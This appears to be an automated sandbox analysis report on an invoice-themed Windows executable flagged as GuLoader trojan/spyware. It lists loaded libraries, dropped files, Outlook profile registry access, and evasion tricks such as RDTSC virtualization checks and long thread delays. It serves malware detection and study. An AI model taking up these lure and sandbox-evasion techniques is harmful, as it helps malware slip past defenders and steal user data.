Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD79A50	4_2_3AD79A50
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7CC50	4_2_3AD7CC50
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7CC41	4_2_3AD7CC41
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD70040	4_2_3AD70040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7E870	4_2_3AD7E870
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7B670	4_2_3AD7B670
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD71817	4_2_3AD71817
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD70011	4_2_3AD70011
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7C610	4_2_3AD7C610
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD79410	4_2_3AD79410
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7F810	4_2_3AD7F810
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7B030	4_2_3AD7B030
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7E230	4_2_3AD7E230
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD71828	4_2_3AD71828
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7F1D0	4_2_3AD7F1D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD709D0	4_2_3AD709D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD78DD0	4_2_3AD78DD0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7BFD0	4_2_3AD7BFD0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7DBF0	4_2_3AD7DBF0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7A9F0	4_2_3AD7A9F0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7B990	4_2_3AD7B990
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD78790	4_2_3AD78790
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7EB90	4_2_3AD7EB90
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7D5B0	4_2_3AD7D5B0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7A3B0	4_2_3AD7A3B0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD709BF	4_2_3AD709BF
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD71351	4_2_3AD71351
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7E550	4_2_3AD7E550
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7B350	4_2_3AD7B350
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD79D70	4_2_3AD79D70
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7CF70	4_2_3AD7CF70
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD71360	4_2_3AD71360
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD73360	4_2_3AD73360
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7AD10	4_2_3AD7AD10
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7DF10	4_2_3AD7DF10
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD70508	4_2_3AD70508
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD7C930	4_2_3AD7C930
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AD79730	4_2_3AD79730
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB1B50	4_2_3ADB1B50
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB3008	4_2_3ADB3008
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB36F0	4_2_3ADB36F0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB1470	4_2_3ADB1470
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB2920	4_2_3ADB2920
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB0D88	4_2_3ADB0D88
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB2238	4_2_3ADB2238
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB1B3F	4_2_3ADB1B3F
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB36E1	4_2_3ADB36E1
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB1460	4_2_3ADB1460
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB0A10	4_2_3ADB0A10
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB09E1	4_2_3ADB09E1
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB2911	4_2_3ADB2911
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB2FFB	4_2_3ADB2FFB
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB0D79	4_2_3ADB0D79
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB2229	4_2_3ADB2229
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB0040	4_2_3ADB0040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ADB0011	4_2_3ADB0011
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AEA3BD0	4_2_3AEA3BD0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AEA9771	4_2_3AEA9771
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AEA0F74	4_2_3AEA0F74
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3AEA2530	4_2_3AEA2530

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: String function: 00402B3A appears 51 times

Source: Factura Honorarios 2024-10.exe, 00000004.00000002.3011954740.0000000037897000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Factura Honorarios 2024-10.exe

Source: Factura Honorarios 2024-10.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/10@5/5

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_00404457 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404457

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_0040206A LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_0040206A

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File created: C:\Program Files (x86)\shaw

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File created: C:\Users\user\AppData\Local\Temp\nsr45A1.tmp

Jump to behavior

Source: Factura Honorarios 2024-10.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Factura Honorarios 2024-10.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File read: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process created: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process created: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe "C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000004.00000002.2985431621.0000000001862000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2291538822.00000000053B2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 0_2_10002DA0 push eax; ret		0_2_10002DCE
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_00169C30 push esp; retf 0019h		4_2_00169D55

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

File created: C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	API/Special instruction interceptor: Address: 5C66B5F
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	API/Special instruction interceptor: Address: 2116B5F

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	RDTSC instruction interceptor: First address: 5C2AF82 second address: 5C2AF82 instructions: 0x00000000 rdtsc 0x00000002 cmp ch, ah 0x00000004 cmp ebx, ecx 0x00000006 jc 00007EFC050C3965h 0x00000008 test ah, FFFFFF9Eh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	RDTSC instruction interceptor: First address: 20DAF82 second address: 20DAF82 instructions: 0x00000000 rdtsc 0x00000002 cmp ch, ah 0x00000004 cmp ebx, ecx 0x00000006 jc 00007EFC0480B975h 0x00000008 test ah, FFFFFF9Eh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Memory allocated: 379A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Memory allocated: 376B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599722	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597669	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597263	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597153	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Thread delayed: delay time: 596719	Jump to behavior
